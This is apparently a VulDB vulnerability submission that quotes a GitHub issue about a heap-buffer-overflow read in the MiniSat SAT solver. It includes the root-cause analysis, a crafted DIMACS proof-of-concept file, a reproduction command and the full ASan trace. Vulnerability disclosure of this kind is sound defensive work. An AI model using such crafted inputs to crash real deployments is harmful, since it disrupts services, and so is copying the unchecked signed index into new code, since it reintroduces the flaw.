| Título | niklasso minisat master-branch Heap-based Buffer Overflow |
|---|
| Descripción | ### Description
We discovered a Heap-buffer-overflow vulnerability in MiniSat. The crash occurs when parsing a crafted DIMACS file containing a large variable index (e.g., 2147483648). This likely triggers an integer overflow or signedness issue, causing a negative index access (buffer underflow) in Solver::value.
The ASAN report confirms a READ violation 1 byte before an allocated heap region.
### Environment
- OS: Linux x86_64
- Complier: Clang
- Build Configuration: Release mode with ASan enabled.
### Vulnerability Details
- Target: MiniSat
- Vulnerability Type: CWE-125: Out-of-bounds Read (Underflow) / CWE-190: Integer Overflow
- Function: Minisat::lbool::operator^ (called by Solver::value)
- Location: core/SolverTypes.h:105 (and core/Solver.h:351)
- Root Cause Analysis: The PoC contains the line:2147483648 3 -1 0The value 2147483648 ($2^{31}$) is one greater than INT_MAX ($2^{31}-1$). If MiniSat stores variable indices as int (signed 32-bit), this value wraps around to -2147483648.When Solver::value(Lit p) is called:
```
// core/Solver.h
inline lbool Solver::value (Lit p) const { return assigns[var(p)] ^ sign(p); }
```
If var(p) returns a negative index due to the overflow, accessing assigns[negative_index] results in a heap buffer underflow. The ASAN report ("located 1 bytes before") confirms this underflow behavior.
### Reproduce
1. Build minisat with Release optimization and ASAN enabled.
2. Run with the crashing file:
<details>
<summary>poc</summary>
```
1 5 3 3 0
3 -1 01 0 -3 0
2147483648 3 -1 0
-1 031 -1 0-31 5 3 0
3 3 -13 0-35 3 0
3 3 -13 0-3 5 3 0
3 3 -13 0-3 -1 0
```
</details>
```
./build/release/bin/minisat poc /dev/null
```
ASAN report
```
==39088==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200000050f at pc 0x55801a57f566 bp 0x7ffe4e008830 sp 0x7ffe4e008828
READ of size 1 at 0x50200000050f thread T0
#0 0x55801a57f565 in Minisat::lbool::operator^(bool) const /src/minisat/./minisat/core/SolverTypes.h:105:64
#1 0x55801a57f565 in Minisat::Solver::value(Minisat::Lit) const /src/minisat/./minisat/core/Solver.h:351:80
#2 0x55801a57f565 in Minisat::Solver::addClause_(Minisat::vec<Minisat::Lit, int>&) /src/minisat/minisat/core/Solver.cc:163:13
#3 0x55801a5b0322 in Minisat::SimpSolver::addClause_(Minisat::vec<Minisat::Lit, int>&) /src/minisat/minisat/simp/SimpSolver.cc:160:18
#4 0x55801a5738cf in void Minisat::parse_DIMACS_main<Minisat::StreamBuffer, Minisat::SimpSolver>(Minisat::StreamBuffer&, Minisat::SimpSolver&, bool) /src/minisat/./minisat/core/Dimacs.h:71:15
#5 0x55801a5738cf in void Minisat::parse_DIMACS<Minisat::SimpSolver>(gzFile_s*, Minisat::SimpSolver&, bool) /src/minisat/./minisat/core/Dimacs.h:82:5
#6 0x55801a570af1 in main /src/minisat/minisat/simp/Main.cc:99:9
#7 0x7fb2a511f1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
#8 0x7fb2a511f28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
#9 0x55801a48c844 in _start (/src/minisat/build/release/bin/minisat+0x32844) (BuildId: 3a4ee6291a6fcce50910bdaf584fbcfe99956904)
0x50200000050f is located 1 bytes before 8-byte region [0x502000000510,0x502000000518)
allocated by thread T0 here:
#0 0x55801a52ca90 in realloc (/src/minisat/build/release/bin/minisat+0xd2a90) (BuildId: 3a4ee6291a6fcce50910bdaf584fbcfe99956904)
#1 0x55801a597cbd in Minisat::vec<Minisat::lbool, int>::capacity(int) /src/minisat/./minisat/mtl/Vec.h:103:24
#2 0x55801a597cbd in Minisat::vec<Minisat::lbool, int>::growTo(int) /src/minisat/./minisat/mtl/Vec.h:119:5
#3 0x55801a57cfb1 in Minisat::IntMap<int, Minisat::lbool, Minisat::MkIndexDefault<int>>::reserve(int) /src/minisat/./minisat/mtl/IntMap.h:48:52
#4 0x55801a57cfb1 in Minisat::IntMap<int, Minisat::lbool, Minisat::MkIndexDefault<int>>::insert(int, Minisat::lbool) /src/minisat/./minisat/mtl/IntMap.h:50:48
#5 0x55801a57cfb1 in Minisat::Solver::newVar(Minisat::lbool, bool) /src/minisat/minisat/core/Solver.cc:130:15
#6 0x55801a5aa92b in Minisat::SimpSolver::newVar(Minisat::lbool, bool) /src/minisat/minisat/simp/SimpSolver.cc:78:21
#7 0x55801a572d48 in void Minisat::readClause<Minisat::StreamBuffer, Minisat::SimpSolver>(Minisat::StreamBuffer&, Minisat::SimpSolver&, Minisat::vec<Minisat::Lit, int>&) /src/minisat/./minisat/core/Dimacs.h:42:36
#8 0x55801a572d48 in void Minisat::parse_DIMACS_main<Minisat::StreamBuffer, Minisat::SimpSolver>(Minisat::StreamBuffer&, Minisat::SimpSolver&, bool) /src/minisat/./minisat/core/Dimacs.h:70:13
#9 0x55801a572d48 in void Minisat::parse_DIMACS<Minisat::SimpSolver>(gzFile_s*, Minisat::SimpSolver&, bool) /src/minisat/./minisat/core/Dimacs.h:82:5
#10 0x55801a570af1 in main /src/minisat/minisat/simp/Main.cc:99:9
#11 0x7fb2a511f1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
#12 0x7fb2a511f28a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 274eec488d230825a136fa9c4d85370fed7a0a5e)
#13 0x55801a48c844 in _start (/src/minisat/build/release/bin/minisat+0x32844) (BuildId: 3a4ee6291a6fcce50910bdaf584fbcfe99956904)
SUMMARY: AddressSanitizer: heap-buffer-overflow /src/minisat/./minisat/core/SolverTypes.h:105:64 in Minisat::lbool::operator^(bool) const
Shadow bytes around the buggy address:
0x502000000280: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fd
0x502000000300: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x502000000380: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x502000000400: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
0x502000000480: fa fa fd fa fa fa fd fd fa fa fd fd fa fa 00 06
=>0x502000000500: fa[fa]00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x502000000580: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x502000000600: fa fa 00 fa fa fa 00 00 fa fa 00 fa fa fa 00 00
0x502000000680: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x502000000700: fa fa 00 fa fa fa 00 00 fa fa fa fa fa fa fa fa
0x502000000780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==39088==ABORTING
``` |
|---|
| Fuente | ⚠️ https://github.com/niklasso/minisat/issues/55 |
|---|
| Usuario | Oneafter (UID 92781) |
|---|
| Sumisión | 2026-02-05 10:48 (hace 3 meses) |
|---|
| Moderación | 2026-02-17 21:39 (12 days later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 346406 [niklasso minisat hasta 2.2.0 DIMACS File Parser core/SolverTypes.h Solver::value variable index divulgación de información] |
|---|
| Puntos | 20 |
|---|